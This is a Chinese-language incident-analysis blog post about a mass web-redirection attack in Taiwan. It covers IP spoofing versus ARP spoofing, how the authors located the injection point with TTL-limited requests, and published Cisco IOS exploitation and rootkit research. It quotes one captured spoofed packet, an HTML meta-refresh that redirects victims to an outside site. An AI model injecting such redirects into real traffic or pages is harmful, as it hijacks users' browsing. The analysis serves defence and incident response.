2. 由攻擊者的假封包內容來看,明顯地無法竄改原封包,沒有辦法避免真封包的到達,甚至沒有辦法避免假的封包比真的慢到達,所以對方試了很多種方式。如果能夠用ARP掛馬,這些都可免了--可是事實並不是這樣。以下是這次常見的一個假封包的內容:

<html><body><meta http-equiv="refresh" content="4;url=http://www.zhonglie.org"></body></html>

為何要用這種似乎很笨拙的iframe插入方式?原因就是,無法有效達到MITM地位,竄改原封包。我們再來想一想,根據我們收到的封包,確定:1.攻擊者在route中間,2. 攻擊者可以監聽到封包,3. 攻擊者可以發spoofed IP封包到受害者。那麼既然這些都可以做得到,為何不直接使用類似zxarps這種完整的TCP session hijacking呢 (ARP掛馬)?因為如果使用zxarps(ARP掛馬)的話,我們在家裡根本不會收到真假封包,這個攻擊就更隱密了,fyodor與wayne可能也就抓不到攻擊程式在TTL=7之內了。原因是,我們已經證明了攻擊程式位於TTL=7之下,表示位於route中段,而zxarps的使用,需要很多環境的配合,譬如要在類乙太網路上,要有足夠運算能力處理流量並修改TCP的seq/ack等等。如果你對一台路由器做ARP spoofing而自己沒有運算能力處理好所有的封包,那麼你就不是在做TCP session hijacking攻擊而是在做DOS攻擊了--網路有可能會癱瘓。另一方面,很多路由器周邊並沒有接ethernet,ARP spoofing派不上用場。

所以依我們的經驗,在以上三個條件都滿足下,還是有很多攻擊者會選擇用none-blind IP spoofing而不用ARP掛馬,因為後者需更多條件,也因此後者比較常見於使用者端或Web伺服器端,而非route中間。那有沒有同時伴隨ARP掛馬呢?我們只能說,我們沒能力監控整個台灣的網路,就我們自己的流量來說,我們沒有看到有ARP掛馬,再說,即使有發生,要在我們所在的route末端判定是ARP掛馬,也會有相當的難度,因為如果是用zxarps,大部分情況下並不會有流量異常(真假封包)產生。

[好,那麼ARP spoofing呢?]

要達成none-blind IP spoofing,必須要監控流量,而ARP spoofing是達成流量監控的手段之一。但是由於我們證明了攻擊程式位於route中間,在此位置要監控流量,有很多其他常用的方式(見下文),ARP spoofing並非最常用的,因為需要的條件比較多。

[那為何認定是none-blind IP spoofing呢?]

因為從錄到的封包來看,就是none-blind IP spoofing,這是事實,是否有伴隨其他攻擊,就我們錄到、網友錄到並公布於網路上,還有網友私底下傳給我們的部分,都可清楚看到none-blind IP spoofing,但是都沒有ARP掛馬的現象。

Route(路徑)上的安全性

其實雖然我們沒有直接斷定是route"r"被動手腳(我們都說攻擊程式在route上),我們蠻驚訝有些專家認為router或router附近被動手腳的機率很低。有些人提出這樣的問題:

「ROUTER 被感染??「感染」ROUTER??你是說「感染」路由器嗎?」

「如果是在路徑中間發生spoofing,流量要mirror到哪裡?」

「ROUTER被入侵?改設定?」

WOW,哈哈,似乎專家們覺得在router附近做這次的攻擊,幾乎沒有可能似的,真是讓我們很驚訝。我想這跟個人經驗有關吧...說實在的,雖然對外我們都說route上有攻擊程式,並證明在TTL=7之內,但是從一開始我們自己被攻擊並做初步封包分析後,我們肚子裡都有把「router被動手腳了」當作有可能的原因之一。大家不要又失焦去討論那是否就是ISP的責任,這不是重點,況且我們兩人都用同一家ISP,別的ISP有沒有被攻擊,我們也沒有測,另外有些設備的問題,非ISP責任所屬。追究責任,我們沒有興趣,我們只對弄清楚威脅有興趣。為何說與個人經驗有關?因為 hacking in router land,當初是蠻主流的。國小時我從我的300 baud modem開始碰網路,也記得大二時有幸參與資策會的Winking計畫,將一套Waterloo的TCP/IP實做(C寫的)porting到Windows 3.1,並在上面實做一個剛時剛定義出來的WinSock 1.0介面。Fyodor是snort最早的programmer之一。那時都還沒 有什麼SQL injection、Web掛馬這些。但是router一直是攻擊的目標--想想,如果控制了router,能做多少事?我們也經歷許許多多案件,都是router被動手腳,被建tunnel監聽流量(非用ARP spoofing)...我想這是為何我們肚子裡會把router被動過視為很可能的原因之一吧!可能近幾年,攻擊router的相關研究比較少,攻擊都在Web上,大家就把router land遺忘了吧...所以我們想在這邊探討一下路徑上的安全性,但是千萬大家別失焦,我們不是要說問題出在誰,我們只是想就技術方面來討論。

大家記得去年美國駭客年會BlackHat時我們有去並寫一些報導嗎?其實那時就注意到,哈,今年關於router的題目又回來啦!也記得那時IDG(全球最大IT媒體)也有報導(好友Robert寫的):Cisco routers again take hacker spotlight(Cisco路由器又在駭客聚光燈下)(大陸:全球黑客聚会黑帽大会 Cisco路由器再成热点话题)。(當然因為是IDG報的,大部分主流媒體(world-系列)都會刊:PCWorldInfoWorldTechWorld)。談到Cisco要先說明一下,為何大家都鎖定Cisco絕對不是Cisco漏洞比其他家多,而是很簡單的理由--市佔率最高(我們家就有用Cisco三年了一直很滿意)。好了,言歸正傳,其實故事要回到又三年前,在2005年,當時在ISS工作的Michael Lynn,準備在BlackHat 2005上公布他找到的Cisco IOS弱點。他的演講題目為:The Holy Grail: Cisco IOS shellcode And Exploitation Techniques(聖杯:CISCO IOS shellcode 以及攻擊技巧)(這裡這裡有人公布投影片)。原本ISS同意了Michael的演講,但是後來因為Cisco覺得不妥,ISS便與Michael以及大會商量,改講其他內容。由於原本的演講內容,投影片已經壓在大會給每個人的CD片中,講義也已經印了,大會只好同意CISCO小組在前一天進入大會,將已經裝入每人一個的背包內的CD片取出,並一本一本地將大會講義中Micheal的部分撕除(這裡有人公開當初撕書與沒收CD的錄影)。
在英文中,Holy Grail聖杯的意思就是終極境界,是所有人想達到而達不到的。在2002年四月18日的WinHec 2002開場演講上,比爾蓋茲曾說,靜態分析(源碼檢測)一直是是計算機科學的聖杯("Software verification has been the Holy Grail of computer science for many decades"),但是我想對Michael來說,Cisco IOS shellcode,才是真正的聖杯吧!

演講當天,Micheal Lynn上台,原本要講另一個備胎題目voIP security,結果一開始講,觀眾馬上開始噓聲連連。他就問,OK,那你們要聽我原本的演講嗎?觀眾開始歡呼,於是他就講下去了!當然這最後結果是,Micheal被起訴,大會主席Jeff花了二十萬美金的律師費,而Cisco與ISS各花了上百萬的律師費。2007年美國駭客年會DEFCON 15,主席Jeff特別用了一個小時講了這整段事件(影片在這裡,重點約14分鐘後開始),而這邊要提到的是,他在48分30秒的時候說,當時Michael的研究,卡在跟FX(Phenoelit的leader Felix)同一個地方(可能是heap overflow為version-或configuration-dependent,無法做到universal)。結果猜猜Mike如何突破的?他在「一個中文的論壇上找到了答案,已經有中國人先研究出來了,於是他翻譯了內容,並有了突破」--所以你說,亞洲區對路由器的攻擊不熟嗎?

2007年,大會主席Jeff Moss特別在DEFCON上花了一小時講當初之事件

講到FX,他在Cisco IOS上的研究比Michael Lynn可能更為出名。除了更早期的研究以外,他在BlackHat Federal 2003(BlackHat DC的前身)上,有一篇「Cisco Vulnerabilities - Yesterday, Today and Tomorrow(Cisco弱點--過去,今天與未來)」與同年在BlackHat USA 2003上的一篇「More vulnerable embedded systems(更多有弱點之嵌入式系統)」中,已經把Cisco IOS當時被發現的許多弱點,做了很完整的分析,奠定了他在這方面權威的地位。其實不論是FX或Micheal Lynn的研究,都是在討論Cisco IOS的binary exploitation,也就是如何遠端的可以送shellcode給Cisco,讓這些shellcode執行起來並植入後門。在這個領域很重要的研究,是FX在去年年底,於25c3大會上(很棒的資安會議,推)發表的「Cisco IOS--Attack & Defence, the State of the Art(Cisco IOS--攻擊與防禦,當今最高水平)」(投影片在這)(錄影在這裡)

在這個演講中,FX先聲明為何他都針對Cisco IOS而非其他廠牌的路由器做弱點研究:1. 因為在超過一千五百元美金的路由器市場中,Cisco的市佔率大於92%,2. Juniper其實就是FreeBSD所以他沒興趣,3. 其他家用router基本上都是embedded linux。接下來FX提到了入侵路由器的動機,而我覺得特別的是他在動機中所提的三點:1. Windows / Linux 系統現在比較難攻,2. 很多Cisco IOS攻擊程式(exploit)現在反而比Windows攻擊程式便宜,而且生命比較長。Windows的漏洞現在不容易活長,但是很貴,以及3. 如果可以選擇的話,當然是要入侵border路由器而非底層的路由器。接下來FX介紹了Cisco IOS的架構,如何做鑑識,以及他開發的鑑識工具CIR(Cisco Incidence Response)。然後,FX開始解釋如何達成穩定的緩衝區溢位攻擊並執行shellcode。他解釋,之前公布的攻擊方式,最大的問題都還是跟IOS的版本有關係,沒有辦法做到在多數版本都可穩定的將shellcode執行起來。在這方面,FX用了很類似去年加州UC Sandiego大學Shacham等人在美國駭客年會BlackHat USA 2008發表的「Return-Oriented Programming」技巧,並找到可穩定執行shellcode的記憶體區間ROMMON,成功實做出了穩定且跨IOS版本的緩衝區溢位攻擊。精彩的部分是,FX並當場用他帶來的Cisco路由器做了demo。他利用了該路由器IOS在解碼IP options欄位時的緩衝區溢位錯誤,利用一個單一的ICMP封包(等於一次ping),就達成了溢位成功並執行shellcode的目的。

接下來是如何撰寫可穩定執行且跨版本的shellcode。FX提及了早些日子,Andy Davis提出的「Version-independent IOS shellcode(跨版本IOS shellcode)」並不夠stable,然後提出了他自己的作法,並說明為何該方法可使shellcode穩定並跨平台的執行。接下來他提出了,一旦可以穩定並跨版本的溢位攻擊Cisco IOS並執行shellcode,可以做的事情有哪些。最後他說,如果我說我是Cisco IOS的第一人,那就太自大了。其實外面有很多人都跑得比我前面,所以這些攻擊在外面應該都有出現了。

好,回到去年IDG在BlackHat USA 2008前的報導:Cisco routers again take hacker spotlight(Cisco路由器又在駭客聚光燈下)。報導中說,在Michael Lynn之後,路由器的弱點研究似乎就不太被公開了,一直到去年,BlackHat USA 2008大會竟然同時出現三場有關路由器弱點的演講。這時的Cisco對2005年Lynn的事件已經持很開放的態度了。Cisco的CSO John Stewart非常誠實的說,當時Cisco有理由,但是做得太過了。「那時我們做了一些愚蠢的事情,這是為何我親自決定今年當白金贊助商,因為我覺得我們應該做些補償。」主席Jeff則認為這幾年沒有研究員再公開Cisco漏洞,跟Lynn事件並無關係。他認為這是因為地下經濟成熟了:「Lynn那個弱點直二十五萬美金。」BlackHat USA 2008中,Core的研究員Ariel Futoransky給了一場「Viral Infections in Cisco IOS(病毒式感染Cisco IOS)(投影片)。對,你沒看錯,他用了「Viral(病毒式)」與「infection(感染)」這兩個字。用在路由器上很奇怪嗎?其實也還好啦!這個研究是他與同事Gerardo Richarte與Sebastián Muñiz共同完成的,而他們其實在稍早的EUSecWest上,就已經先發表了一篇:Killing the myth of Cisco IOS rootkits:DIK Ios rootKit(Cisco IOS rootkit解密:正宗IOS Rootkit)(PDF paper 下載),並宣稱他們的方法可達到高度的隱密性--這個應該是第一個被公開的Cisco IOS rootkit。Cisco隨後發表了「Cisco Guide to Harden Cisco IOS Devices(Cisco官方強化IOS設備手冊)」;媒體報導可見:英文:The Register, Rootkits on routers threat to be demoed--Networks own3d台灣:Digitimes,可入侵思科路由器的Rootkit軟體近期內將公開亮相大陸:1. Rootkit兵临城下 思科忙为路由器打补丁2. 思科发布路由器补丁程序,但忧虑仍在

Gyan Chawdhary與Varun Uppal,則發表了:Cisco IOS Shellcodes/Backdoors(講義下載),他們認為Cisco並沒有真正把Lynn發現的漏洞修補好,並提供了三段shellcode來證明他們還是可以繞過Check Heap防禦機制並執行shellcode。不像FX的shellcode,當時這三段都還有寫死的記憶體位置,故應該無法很穩定及跨版本的執行。最後,FX也在會上給了一場演講:Developments in Cisco IOS Forensics(Cisco IOS鑑識的近期發展)(講義下載)。這裡他發表了先前介紹的Cisco IOS鑑識工具CIR(Cisco Incidence Response)

至於控制了路由器後如何監聽流量呢?既然已經可以控制路由器,當然就不需要用到ARP spoofing了--tunnel或mirror都可以。2000年的Phack 56中gauis寫得蠻簡單清楚的:Things to do in Ciscoland when you're dead這裡有大陸的翻譯)。另外要攻擊路由器也不一定要植入shellcode這麼複雜--外面這麼多SNMP bruteforcer不是沒有原因的。Wolfgang 2003:Exploiting Cisco Routers,Hidalgo 2005:Cisco SNMP configuration with a GRE tunnel都可以參考。

去年九月底,Alexandre Cezar在ISC2(推出CISSP認證的組織)的blog上寫了一篇:The most vulnerable device in the network,他說最近與朋友討論,整個網路(使用者機器不算)上,最脆弱的機器是什麼。「The answer of almost everyone in the table was: Routers...」。文章中他列舉了router上可能有的威脅,另外我很喜歡他回Tim Bass的留言(泰國OWASP分會會長,上次OWASP有來與大家見面)時說的:「And you're right when you said that there aren't many exploits for routers but my main point is that you don't need exploits to compromise a router, you just need to found a misconfigured one and the Internet in plenty of them。」這根FX在演講中說的一樣,其實現在掃瞄路由器還是可以發現很多設定上的錯誤,弱的密碼等等,攻擊路由器不一定需要用到他們研究的這些新技術。

寫了這些最近有關路由器的研究,我們希望表達的是,這次大家研究台灣大規模轉址事件時,應該要先研究收集到的事實,例如錄到的攻擊封包等,而非說:因為這兩年大陸很多人研究ARP掛馬,ARP掛馬工具很成熟,ARP掛馬網路上資料很多,最近很多ARP掛馬事件,就斷定是ARP掛馬,然後說但是IDC一定不會承認,大家忍一忍事情就過去了等等。如果要這樣想,那麼去年突然迸出許多關於路由器弱點的研究,媒體也開始報導路由器攻擊重成焦點,穩定且跨版本的的溢位與shellcode執行也被公開,第一支公開的rootkit也出現了,那是否就斷定這次是路由器的問題?當然不是。我們可以根據事實來研究,到底是什麼樣子的攻擊?可能出現在哪裡?這樣才知道要怎麼預防,才可以避免下次可能的損失。我們公布的研究結論,都是先根據我們錄到的封包,不是先根據最近這些新聞與研究。最後,我們一直說"route"(路徑)上出問題,但是沒有說判斷一定是route"r"(路由器)出問題,因為我們沒有任何證據,另外路徑上還有很多其他可能。Futoransky去年在BlackHat 2008發表的Viral Infections in Cisco IOS(病毒式感染Cisco IOS),是他自己取的名字。

[收集的一些問題]
「回答IP Spoofing 的問題」中已經有收錄部分問題與我們的回答)

問:IP spoofing和 arp spoofing你好像搞錯了。IP Spoofing指的只是單純偽冒IP。而你單就route尾巴的封包是不可能判斷出IP spoofing的,要做session hijacking,ARP spoofing是要用到的,而不是IP Spoofing。

ARP Spoofing,是現今網路環境作snffing的第一步,藉由了解受害網站與其gateway間的訊號傳送,來控制受害網站間傳輸的資料流,包含偽裝同一來源IP發出相似的封包(是的,這叫ARP spoofing不叫IP spoofing)。不過相對來講,傳統ARP spoofing會製造出大量的ACK/DATA封包。但配合MITM/ARP掛馬,還可以再降低無效的封包量。

只有在同機房有人被佔領,就可以對所有機器進行ARP Spoofing。

答:恩,不是這樣子的,剛好相反,如果攻擊程式在route中間,我們在end端只能看到IP spoofing而看不到arp spoofing。另外arp spoofing不能說是監聽封包的唯一方法,有很多其他方法(見上文)。有些路由器兩兩之間根本沒有ethernet,如何做ARP spoofing?但是還是有其發方法可監聽流量。依我們自己事件處理的經驗,當攻擊程式為於route中間時,使用ARP spoofing來監聽的並不常見,其他方把反而比較常。最後,ARP spoofing不會製造出大量ACK/DATA封包。ACK/DATA是TCP層(OSI第二層)的,而ARP spoofing是第二層的,大量ACK/DATA在TCP session hijacking時可能會出現,但是不是在ARP spoofing時。ARP spoofing會看到很多重複的ARP frames。zxarps這種工具做得遠不只ARP spoofing,他的man-in-the-middle實做了完整的TCP session hijacking,並且有去改seq/ack number,故降低了無效的封包量。所以zxarps這種攻擊並不只包含了ARP spoofing--你講的這些都是TCP session hijacking非ARP spoofing。這些技巧都用了十年以上了,完整的TCP session hijacking的實做以前就很多了。要做session hijacking,ARP spoofing只是其中可能用到的一步,但並不一定會用到。另外,如果真的做了session hijacking,我們在route尾巴就看不到假的IP packet了--但是我們有看到,所以我們說是none-blind IP spoofing,可能有伴隨ARP spoofing,但是也可能沒有。

問:那個.241的推論其實看不太懂,該不會因為兩者匯流於.225,所以直接推斷前一個hop,或TTL=7以下的hop必定是問題點吧?

這樣的推論好像太武斷了,因為B支會收到spoofed封包,只代表B支符合被spoofed條件,而非一定是發生在A支與B支不同的子路徑上。

例如,攻擊條件可能是以來源地區作判別條件,或針對機房中數台分流主機的其中一台作arp spoofed,都會有B支被 spoofed但A支沒事的情況。

另,如果不是man-in-the-middle,則應該會收到大量失效的真封包,包含真正的首頁內容,亦即GET / 後會收到兩個頁面,一個為spoofed host回的,一個為real server回的。但是似乎後者的封包量在測試時出現太少了些。

答:恩,不是這樣子。推論攻擊在TTL=7或以下,是因為TTL=7時,出現IP spoofing,回來的TCP s/n也對,故判定攻擊點一定在TTL=7或以下的route上(請注意我們當初是寫「route」上而非「route"r"」上),這跟另一個route有被攻擊或沒被攻擊,沒有關係。另一個route只是畫出我們實際上的測試環境--兩條route,一條一直有spoofed封包,一條則沒有。這個測試的方法(原本不想講太明,因為攻擊者很容易破解),是我們修改traceroute程式,變成發出不同TTL的HTTP GET封包,而封包跟IE發出的GET封包長得一樣。因為在TTL=6時,不會收到假封包,但是在TTL=7時會,故判斷有攻擊點位於從我到TTL=6的這段route上。不論另一條有沒有被攻擊,都不會影響我們的判定--攻擊的方式是none-blind IP spoofing,而攻擊程式位於離我TTL=7以下的route上。如果如你所說的,攻擊程式在更上方,而利用來源地區選擇攻擊與否,那麼就不會TTL只等於7時,我們就收到了假封包(s/n正確)--因為TTL只等於7,封包不會再往上走。

最後關於您說,「如果不是man-in-the-middle...」這段,簡單回應如下。如果是像zxarps這種把TCP session hijacking實做得很完整,會改TCP seq/ack,那麼網路上幾乎看不到異常的封包,也不會有現在我們看到的spoofed IP packet。那麼如果不是MITM,就一定會有大量的假封包嗎?不一定,看攻擊程式想如何做。一開始,我們看到只有一個封包,並帶FIN把連線中斷。這樣優點是乾淨俐落,比較不會被監控程式發現,但是缺點是,因為沒有含原內容,故使用者很容易發現。

我們來想一想,根據我們收到的封包,確定:1.攻擊者在route中間,2. 攻擊者可以監聽到封包,3. 攻擊者可以發spoofed IP封包到受害者。那麼既然這些都可以做得到,為何不直接使用類似zxarps這種完整的TCP session hijacking呢?因為如果使用zxarps的話,我們在家裡根本不會收到真假封包,這個攻擊就更隱密了。

原因是,zxarps的使用,需要很多環境的配合,譬如要在ethernet上(ARP spoofing只能在ethernet類的網路上用),要有足夠運算能力處理流量並修改TCP的seq/ack等等。如果你對一台路由器做ARP spoofing而自己沒有運算能力處理好所有的封包,那麼你就不是在做TCP session hijacking攻擊而是在做DOS攻擊了--網路會癱瘓。另一方面,很多路由器周邊並沒有接ethernet,ARP spoofing派不上用場。

所以依我們的經驗,在以上三個條件都滿足下,還是有很多攻擊者會選擇用none-blind IP spoofing而不用zxarps這種ARP spoofing+TCP session hijacking,因為後者需更多條件,也因此後者比較常見於使用者端或Web伺服器端,而非route中間。

None-blind IP spoofing被攻擊者喜愛的另一個原因,就是因為他需要的封包少。例如在一開始的案例中,只用一個封包就可以達到轉址的目的了,而不用實做整個複雜的TCP session hijacking。

問:我錄到了ARP spoofing攻擊!這是否代表就是伺服器端有ARP spoofing或甚至ARP掛馬?
答:方便把錄到的流量寄一份給我們嗎?ARP是在layer 2,一般不會跨出vlan,您不太可能錄到伺服器端的ARP封包。如果真的有錄到ARP spoofing,那建議先檢查您vlan內的設備。

問:看這次錄到的封包,假的就只有一個封包,這怎麼會是none-blind spoofing?
答:None-blind spoofing被攻擊者所喜歡的原因,就是因為需要的封包很少。Blind spoofing則需要很多封包。

問:據說TTL可以造假,那你們的實驗有意義嗎?
答:就跟其他的IP封包欄位一樣,在IPv4下,IP封包整個本來就是誰都可以發,欄位怎麼填都可以。但是除非路由器特別被改過,不然每轉送一次會將TTL減去一,所以當TTL=7時就已經有假封包回來,可以讓我們大略知道攻擊程式所在區域。例如這個例子中我們可以知道,這個被我們測到的攻擊程式,不太可能位於Web伺服器附近(Web伺服器附近有沒有其他攻擊程式,不知)。

問:據說TTL不論等於幾,都可以傳到Web伺服器那邊?
答:你聽誰說?:)

作者 Fyodor Yarochkin 為 o0o.nu 成員
作者 Wayne 為 阿碼科技CEO

下一篇系列文章:
2009/03/27 「網路藍色藥丸?首支攻擊路由器之蠕蟲出現:再談路徑之安全性

相關系列文章:
2009/03/08 「大規模網頁綁架轉址:威脅未解除,但專家都猜錯了
2009/03/12 「大規模網頁綁架轉址之水落石出篇
2009/03/13 「回答IP Spoofing 的問題
2009/03/15 「從大規模轉址事件看IP spoofing、ARP spoofing、ARP掛馬與路徑(route)安全
2009/03/27 「網路藍色藥丸?首支攻擊路由器之蠕蟲出現:再談路徑之安全性

繼續閱讀全文...